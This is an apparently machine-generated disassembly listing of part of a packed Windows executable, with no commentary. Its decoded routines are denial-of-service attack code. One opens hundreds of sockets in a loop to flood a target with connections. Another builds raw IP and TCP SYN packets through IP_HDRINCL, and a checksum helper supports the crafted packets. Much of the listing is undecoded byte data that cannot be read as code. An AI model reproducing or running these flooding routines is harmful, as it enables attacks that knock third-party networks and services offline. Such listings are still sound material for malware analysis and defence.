dd 1CCAh, 0E8E075FFh, 0FFFF7846h, 0E8565959h, 72C514h
dd 0C408B6Dh, 3EB008Bh, 8B08458Dh, 0DC7D3900h, 75F44589h
dd 848CE811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh
dd 0F015FFDCh, 39004D11h, 8966DC75h, 37DF245h, 0B8DC7589h
dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah
dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h
dd 843Eh, 0FFB999h, 0F9F70000h, 0D4753B46h, 0EF359488h
dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h, 458D5E0Bh
dd 50106AF0h, 8410E857h, 0A6A0000h, 0F9F75999h, 2BD4458Bh
dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4D1254h, 0FFD875FFh
dd 42706415h, 0CE754E00h, 75DC7D39h, 83E0E8BCh, 0B9990000h
dd 0FFDCh, 5242F9F7h, 11F015FFh, 8966004Dh, 0A1EBF245h
dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 0DF8068FFh, 0E8500043h
dd 8356h, 390CC483h, 2075E87Dh, 0CC858D57h, 0FFFFFFFCh
dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5DCDE8h
dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh
dd 0FFFF770Eh, 0E8575959h, 72C3DCh
db 94h
byte_413C25 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00406840o
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h
dd 0DFD468FFh, 0E8500043h, 82BEh, 0C483F633h, 0F8753918h
dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
dd 0FDECB5FFh, 33E8FFFFh, 83FFFF5Dh, 858D14C4h, 0FFFFFBECh
dd 1AF8E850h, 75FF0000h, 7674E8F0h, 5959FFFFh, 0C342E856h
dd 5F2D0072h
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CC1 proc near ; CODE XREF: .nsp0:00413DAAp
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4D11F0 ; ntohs
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413D7F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413D0C: ; CODE XREF: sub_413CC1+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413D14: ; CODE XREF: sub_413CC1+7Aj
push 0
push 1
push 2
call dword_42721C ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_413D37
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call dword_4271F4 ; ioctlsocket
loc_413D37: ; CODE XREF: sub_413CC1+64j
add esi, 4
dec ebx
jnz short loc_413D14
lea esi, [ebp+var_654]
mov ebx, edi
loc_413D45: ; CODE XREF: sub_413CC1+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call dword_42720C ; connect
add esi, 4
dec ebx
jnz short loc_413D45
push 64h
call dword_427064 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_413D69: ; CODE XREF: sub_413CC1+B4j
push dword ptr [esi]
call dword_427218 ; closesocket
add esi, 4
dec ebx
jnz short loc_413D69
dec [ebp+arg_4]
jnz short loc_413D0C
pop edi
pop esi
pop ebx
loc_413D7F: ; CODE XREF: sub_413CC1+3Ej
xor eax, eax
leave
retn
sub_413CC1 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AA54
push dword ptr [esp+18h]
mov edi, eax
call sub_41BE29
push dword ptr [esp+20h]
mov ebx, eax
call sub_41BE29
mov esi, eax
push esi
push ebx
push edi
call sub_413CC1
add esp, 18h
test eax, eax
jnz short loc_413DB9
push 1
pop eax
loc_413DB9: ; CODE XREF: .nsp0:00413DB4j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_413DC8 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: .nsp0:00407EA0o
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h
dd 858D5000h, 0FFFFFBECh, 43E00068h, 1BE85000h, 33000081h
dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh
dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 5B90E8FFh, 0C483FFFFh
dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF74D1E8h
dd 565959FFh, 72C19FE8h, 5E5F0700h
; ---------------------------------------------------------------------------
loc_413E64: ; CODE XREF: .nsp0:00414152p
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call dword_4D1160 ; WSAStartup
test eax, eax
jz short loc_413EA4
xor eax, eax
jmp loc_414112
; ---------------------------------------------------------------------------
loc_413EA4: ; CODE XREF: .nsp0:00413E9Bj
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4D1294 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-0Ch], eax
jz loc_41410A
push esi
lea ecx, [ebp-38h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-38h], edi
call dword_4D11D0 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_414100
push 10h
lea eax, [ebp-50h]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
mov word ptr [ebp-50h], 2
push dword ptr [ebp+10h]
call dword_4D11F0 ; ntohs
mov esi, [ebp+8]
push 28h
mov [ebp-4Eh], ax
mov [ebp-4Ch], esi
mov byte ptr [ebp-20h], 45h
call dword_4D11F0 ; ntohs
push dword ptr [ebp+10h]
mov [ebp-1Eh], ax
mov [ebp-1Ch], di
mov [ebp-1Ah], bx
mov byte ptr [ebp-18h], 80h
mov byte ptr [ebp-17h], 6
mov [ebp-16h], bx
mov [ebp-10h], esi
call dword_4D11F0 ; ntohs
push 4000h
mov [ebp-32h], ax
mov [ebp-2Ch], ebx
mov byte ptr [ebp-28h], 50h
mov byte ptr [ebp-27h], 2
call dword_4D11F0 ; ntohs
mov [ebp-26h], ax
lea eax, [ebp-40h]
push eax
mov [ebp-22h], bx
mov [ebp+10h], ebx
call near ptr 0B40000h
pop edx
lea eax, [ebp-8]
push eax
call near ptr 0B40000h
; ---------------------------------------------------------------------------
dw 0FFDFh
dd 458BC475h, 75FF9914h, 0E85052C0h, 99CCh, 8BF84503h
dd 0FC7513F2h, 66A84589h, 0E8DC5D89h, 7FFAh, 3E9B999h
dd 0F9F70000h, 3E8C281h, 0FF520000h, 4D11F015h, 45896600h
dd 7FDCE8CCh, 0F88B0000h, 0E810E7C1h, 7FD2h, 0FF57F80Bh
dd 4D11F015h, 0C0B70F00h, 8BD04589h, 45FF0C45h, 15FF500Ch
dd 4D11ECh, 4589146Ah, 0F0458BECh, 4589575Fh, 905D888Ch
dd 69145C6h, 11F015FFh, 8966004Dh, 458B9245h, 884589ECh
dd 6A88458Dh, 858D5020h, 0FFFFFF4Ch, 899EE850h, 458D0000h
dd 8D5057CCh, 0FFFF6C85h, 8DE850FFh, 8D000089h, 0FFFF4C85h
dd 50346AFFh, 0FF6B92E8h, 458966FFh, 0E0458DDCh, 858D5057h
dd 0FFFFFF4Ch, 896AE850h, 458D0000h, 8D5057CCh, 0FFFF6085h
dd 59E850FFh, 6A000089h, 74858D04h, 53FFFFFFh, 7BDAE850h
dd 0C4830000h, 4C858D44h, 6AFFFFFFh, 4CE85028h, 66FFFF6Bh
dd 8DEA4589h, 5057E045h, 0FF4C858Dh, 0E850FFFFh, 8924h
dd 8D14C483h, 106AB045h, 858D5350h, 0FFFFFF4Ch, 0FF50286Ah
dd 15FFF475h, 4D1254h, 74FFF883h, 10450127h, 50F8458Dh
dd 72BF47E8h, 458B2400h, 7FC63BFCh, 0C88C0F3Ch, 8BFFFFFEh
dd 453BF845h, 0E92E73A8h, 0FFFFFEBBh, 118415FFh, 8D50004Dh
dd 0FFFF0C85h, 0E02868FFh, 0E8500043h, 7E4Ah, 0FF0C858Dh
dd 0E850FFFFh, 16AEh, 0EB10C483h, 105D8B03h
; ---------------------------------------------------------------------------
loc_414100: ; CODE XREF: .nsp0:00413EDCj
push dword ptr [ebp-0Ch]
call dword_4D1288 ; closesocket
pop esi
loc_41410A: ; CODE XREF: .nsp0:00413EBFj
call dword_4D1148 ; WSACleanup
mov eax, ebx
loc_414112: ; CODE XREF: .nsp0:00413E9Fj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AA54
push dword ptr [esp+18h]
mov esi, eax
call sub_41BE29
push dword ptr [esp+20h]
mov ebx, eax
call sub_41BE29
mov edi, eax
call sub_41BF92
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call loc_413E64
add esp, 1Ch
test eax, eax
jnz short loc_414161
push 1
pop eax
loc_414161: ; CODE XREF: .nsp0:0041415Cj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_414170 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh
; DATA XREF: .nsp0:00408853o
dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7C88E8h
dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4D1230h, 5BE850h
dd 8D500000h, 0FFFC6C85h, 0E04868FFh, 0E8500043h, 7D6Eh
dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh
dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0E3E8FFFFh, 83FFFF57h
dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h, 7124E8F0h
dd 5959FFFFh, 0BDF2E856h, 5F980072h, 0EC8B555Eh, 98EC81h
dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh, 0A8658304h
dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh, 0FFFF7C8Dh
dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h
dd 0Ch, 119445C7h, 0C7000000h, 169845h, 45C70000h, 299Ch
dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h
dd 0BC45C7h, 89000020h, 5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h
dd 4D89D045h, 0BFABD8h, 57000001h, 93B4E8h, 45895900h
dd 0FF5057FCh, 4D120415h, 0FC75FF00h, 127415FFh, 408B004Dh
dd 36A530Ch, 8B026Ah, 4589008Bh, 7015FFF4h, 8D004D12h
dd 5156D84Dh, 6A026Ah, 0FC458950h, 11D015FFh, 0BE004Dh
dd 56000002h, 78D2E8h, 0A83D8B00h, 59004270h, 0FFF84589h
dd 0F04589D7h, 6808458Bh, 29Ah, 0FF6C8589h, 0C766FFFFh
dd 0FFFF6885h, 0FF0002FFh, 4D11F015h, 85896600h, 0FFFFFF6Ah
dd 452BD7FFh, 0B9D233F0h, 3E8h, 453BF1F7h, 0CF870F0Ch
dd 0E8000000h, 7C4Ah, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h
dd 18E2C100h, 5589D00Bh, 7C30E8F4h, 8B990000h, 89F9F7CBh
dd 23E8AC55h, 9900007Ch, 1FA4B9h, 0DC45C600h, 0C6F9F745h
dd 8904DD45h, 0BE8D455h, 6600007Ch, 0E8E04589h, 7C02h
dd 59990A6Ah, 8B66F9F7h, 50B09544h, 11F015FFh, 6656004Dh
dd 0FFE24589h, 4D11F015h, 45896600h, 0E45D88DEh, 7BD9E8h
dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h, 8BE54588h
dd 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h, 0FFFF67E3h
dd 0E6458966h, 6ADC458Dh, 75FF5014h, 85BEE8F8h, 0C4830000h
dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh
dd 4D125415h, 0FF1AE900h, 75FFFFFFh, 7547E8F8h, 0FF590000h
dd 15FFFC75h, 4D1288h, 5F58016Ah, 0C3C95B5Eh
dword_41442C dd 81EC8B55h, 440ECh, 8458B00h, 6A575653h, 59F08B68h, 0FDC0BD8Dh
; DATA XREF: .nsp0:00406E36o
dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh
dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0A83D8BAAh
dd 0FF004270h, 11E850D7h, 5900007Bh, 0FF68h, 6A036A00h
dd 7015FF02h, 83004D12h, 4589FFF8h, 0FF6675FCh, 4D118415h
dd 858D5000h, 0FFFFFBC0h, 43E16468h, 8FE85000h, 8300007Ah
dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh
dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5500E8FFh
dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h
dd 0E8FFFFFFh, 0FFFF6E3Eh, 0E8535959h, 72BB0Ch, 0CC4D8D24h
dd 6A51046Ah, 89505302h, 15FFCC75h, 4D11D0h, 75FFF883h
dd 8415FF66h, 50004D11h, 0FBC0858Dh, 2C68FFFFh, 500043E1h
dd 7A11E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h
dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h
dd 0E8FFFFFDh, 0FFFF5482h, 8D14C483h, 0FFFBC085h, 47E850FFh
dd 0FF000012h, 0FFFF44B5h, 6DC0E8FFh, 5959FFFFh, 0BA8EE853h
dd 8DFE0072h, 0FFFDC485h, 15FF50FFh, 4D1230h, 75FFF883h
dd 0C0858D5Eh, 68FFFFFBh, 43E10Ch, 79A0E850h, 9D390000h
dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5412h
dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h
dd 6D50E8FFh, 5959FFFFh, 0BA1EE853h, 6A410072h, 0BC458D10h
dd 51E85053h, 83000076h, 0C7660CC4h, 2BC45h, 0F015FF53h
dd 66004D11h, 8DBE4589h, 0FFFDC485h, 15FF50FFh, 4D1230h
dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h
dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h
dd 0FF45D445h, 4D11F015h, 509D3900h, 66FFFFFFh, 66D64589h
dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h
dd 792CE82Dh, 0F08B0000h, 0E808E6C1h, 7922h, 0E6C1F003h
dd 7918E808h, 0F0030000h, 0E808E6C1h, 790Eh, 16AF003h
dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF64D1E8h, 0FF5059FFh
dd 4D123015h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh
dd 0DBE81075h, 99000078h, 401B9h, 52F9F700h, 0B5FF06EBh
dd 0FFFFFF48h, 11F015FFh, 8966004Dh, 0BBE8EA45h, 99000078h
dd 401B9h, 52F9F700h, 11F015FFh, 7868004Dh, 66123456h
dd 0FFE84589h, 4D11EC15h, 0EC458900h, 0FE44858Dh, 868FFFFh
dd 500043E1h, 78A7E8h, 0C0855900h, 89097459h, 45C6F05Dh
dd 5CEB02F5h, 0FE44858Dh, 1068FFFFh, 50004318h, 7887E8h
dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h, 0FE44858Dh
dd 1868FFFFh, 500042D6h, 7867E8h, 0C0855900h, 0E8257459h
dd 783Eh, 5999036Ah, 5589F9F7h, 7830E8F0h, 26A0000h, 0F9F75999h
dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h
dd 0F015FF50h, 66004D11h, 8BF64589h, 4589E045h, 0E4458B9Ch
dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h, 6A545C6h
dd 11F015FFh, 8966004Dh, 458DA645h, 50206A9Ch, 0FF60858Dh
dd 0E850FFFFh, 81F0h, 6AE8458Dh, 458D5014h, 0E1E85080h
dd 8D000081h, 0FFFF6085h, 50346AFFh, 0FF63E6E8h, 458966FFh
dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 0BDE850FFh, 8D000081h
dd 146AE845h, 74858D50h, 50FFFFFFh, 81ABE8h, 8D046A00h
dd 50538845h, 742FE8h, 44C48300h, 0FF60858Dh, 286AFFFFh
dd 63A1E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh
dd 0E850FFFFh, 8178h, 8D14C483h, 106ABC45h, 858D5350h
dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4D1254h, 74FFF883h
dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 128815FFh, 15FF004Dh
dd 4D1184h, 0C4858D50h, 0FFFFFFFDh, 68500875h, 43E0B8h
dd 0FBC0858Dh, 68FFFFh, 50000002h, 779FE8h, 18C48300h
dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5116h
dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h
dd 6A54E8FFh, 5959FFFFh, 0B722E853h, 0FF900072h, 15FFFC75h
dd 4D1288h, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah
dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h
dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 43E068h, 7614E850h
dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h
dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h
dd 0FF5085E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah
dd 0FF44B5FFh, 0C3E8FFFFh, 59FFFF69h, 91E85359h, 0F40072B6h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_41499C
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_41498E: ; CODE XREF: .nsp0:00414996j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_41498E
pop edi
cmp eax, 1
loc_41499C: ; CODE XREF: .nsp0:00414982j
jnz short loc_4149A9
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
add esi, eax
loc_4149A9: ; CODE XREF: .nsp0:loc_41499Cj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
; ---------------------------------------------------------------------------
word_4149C2 dw 8B55h ; DATA XREF: .nsp0:0040875Bo
dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
dd 36E850FFh, 59000074h, 70858D50h, 50FFFFFEh, 123015FFh
dd 8D50004Dh, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h
dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 9868FFFFh, 500043E1h
dd 7509E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h
dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7BE8FFFFh
dd 83FFFF4Fh, 858D14C4h, 0FFFFFC6Ch, 0D40E850h, 75FF0000h
dd 68BCE8F0h, 5959FFFFh, 0B58AE856h, 55090072h, 0EC81EC8Bh
dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h
dd 6A036A00h, 0F0458902h, 127015FFh, 4589004Dh, 50D6FFF8h
dd 74DBE8h, 78BF5900h, 57000005h, 16A096Ah, 4460E8h, 50595900h
dd 50D8458Dh, 7177E8h, 0CC48300h, 5A0BEh, 0A815FF00h, 2B004270h
dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h
dd 4D49A81Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h
dd 7138h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h
dd 4D1194h, 0FF68h, 0E8016A00h, 43F5h, 45B60F50h, 0B60F509Eh
dd 0F509D45h, 509C45B6h, 0FF34858Dh, 0C068FFFFh, 50004341h
dd 73EDE8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4D438868h
dd 0F1E85000h, 59000079h, 34858D59h, 50FFFFFFh, 123015FFh
dd 4589004Dh, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h
dd 11F015FFh, 8966004Dh, 3E8AE45h, 66000074h, 8BB04589h
dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h
dd 0B545C640h, 5D896606h, 0BC4589B6h, 73D9E8h, 45896600h
dd 73D0E8C0h, 89660000h, 0C7E8C245h, 89000073h, 0BFE8C445h
dd 89000073h, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h
dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah, 8D8C4589h
dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h
dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h
dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh, 8C68BC45h
dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h
dd 15FF06FFh, 427208h, 5E858966h, 8DFFFFFFh, 0FFFF6085h
dd 50146AFFh, 50C0458Dh, 7D47E8h, 74858D00h, 57FFFFFFh
dd 0D8458D50h, 7D36E850h, 858D0000h, 0FFFFFF54h, 59868h
dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h, 5088458Dh
dd 0A8458D53h, 75FF5056h, 5415FFF8h, 0FF004D12h, 22E9FC45h
dd 0FFFFFFFEh, 15FFF875h, 4D1288h, 5FFC458Bh, 0C3C95B5Eh
dword_414CC0 dd 81EC8B55h, 414ECh, 8558B00h, 85B856h, 8B570000h, 8DF28BC8h
; DATA XREF: .nsp0:00406713o
dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h
dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h
dd 68FFFFFBh, 43E1CCh, 7224E850h, 0C4810000h, 220h, 0FBEC858Dh
dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF65FEh, 6A5959h
dd 72B2CBE8h, 8B55A800h, 54EC81ECh, 53000002h, 0FFBB56h
dd 53570000h, 26A036Ah, 127015FFh, 0F883004Dh, 0F44589FFh
dd 858D1A75h, 0FFFFFDACh, 43E3BC68h, 0CBE85000h, 59000071h
dd 0E959FF33h, 2C6h, 6AEC4D8Dh, 0FF335104h, 5057026Ah
dd 1EC45C7h, 0FF000000h, 4D11D015h, 0FFF88300h, 15FF0E75h
dd 4D1184h, 0E36C6850h, 1BEB0043h, 500C458Dh, 123015FFh
dd 0F883004Dh, 0FF2075FFh, 4D118415h, 28685000h, 8D0043E3h
dd 0FFFDAC85h, 6FE850FFh, 83000071h, 6BE90CC4h, 57000002h
dd 0DC45C766h, 15FF0002h, 4D11F0h, 0DE458966h, 500C458Dh
dd 723015FFh, 358B0042h, 4270A8h, 0FFE04589h, 0F84589D6h
dd 500C458Dh, 0FDAC858Dh, 0FC68FFFFh, 500043E2h, 7129E8h
dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh
dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF4B9DE8h, 14C483FFh
dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
dd 10C85h, 0D2E85000h, 3B00006Fh, 870F59F0h, 191h, 41CBEh
dd 0BB05EB00h, 0FFh, 49A83D39h, 5075004Dh, 8958106Ah, 8D50F045h
dd 5057CC45h, 6DBBE8h, 0CC48300h, 50F0458Dh, 50CC458Dh
dd 0FF0875FFh, 4D119415h, 16A5300h, 407CE8h, 0B60F5000h
dd 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h, 4341C068h
dd 77E85000h, 83000070h, 10EB20C4h, 68AC458Dh, 4D4388h
dd 767EE850h, 59590000h, 8805C656h, 45004D45h, 11F015FFh
dd 0A366004Dh, 4D458Ah, 50AC458Dh, 8C05C766h, 1004D45h
dd 3D896600h, 4D458Eh, 459005C6h, 0C680004Dh, 4D459105h
dd 89661100h, 4D45923Dh, 3015FF00h, 0A3004D12h, 4D4594h
dd 0A3E0458Bh, 4D4598h, 8C858Dh, 66500000h, 45A23D89h
dd 0F2E8004Dh, 8500006Eh, 107559C0h, 7051E8h, 1B99900h
dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6ED1h, 15FF5059h
dd 4D11F0h, 459EA366h, 27E8004Dh, 99000070h, 401B9h, 4086800h
dd 0F9F70000h, 9C158966h, 0FF004D45h, 4D11F015h, 4006800h
dd 0A3660000h, 4D45A0h, 6FFDE8h, 0FBF79900h, 45A46852h
dd 9DE8004Dh, 8300006Ch, 458D0CC4h, 50106ADCh, 88685657h
dd 0FF004D45h, 15FFF475h, 4D1254h, 0FFFF883h, 0A484h, 0FC45FF00h
dd 70A815FFh, 452B0042h, 0B9D233F8h, 3E8h, 0D88BF1F7h
dd 10C858Dh, 0E8500000h, 6E41h, 0F59D83Bh, 0FFFE7686h
dd 0F475FFFFh, 128815FFh, 758B004Dh, 0C858DFCh, 50000001h
dd 41CF669h, 1AE80000h, 8B00006Eh, 0C1C68BC8h, 0D2330AE8h
dd 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch, 0FFFFFDACh
dd 43E29868h, 0FFE85000h, 8300006Eh, 0BD391CC4h, 214h
dd 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h, 18C858Dh
dd 0FF500000h, 73E80875h, 83FFFF49h, 5E5F14C4h, 0C95BC033h
dd 0FC75FFC3h, 8415FF56h, 50004D11h, 500C458Dh, 0FDAC858Dh
dd 0C68FFFFh, 500043E2h, 6EADE8h, 18C48300h
db 0EBh, 0ACh
word_41508E dw 8B55h ; DATA XREF: .nsp0:00407DB8o
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6D68E8h
dd 8D505900h, 0FFFE7085h, 5AE850FFh, 5900006Dh, 0F0858D50h
dd 50FFFFFDh, 123015FFh, 0E850004Dh, 144h, 0EC858D50h
dd 68FFFFFBh, 43E3E8h, 6E40E850h, 0F6330000h, 3918C483h
dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h
dd 0B5FF50FFh, 0FFFFFDECh, 0FF48B5E8h, 14C483FFh, 0FBEC858Dh
dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF61F6h, 0E8565959h
dd 72AEC4h
; ---------------------------------------------------------------------------
scasb
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41513F proc near ; CODE XREF: .nsp0:004153BCp
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
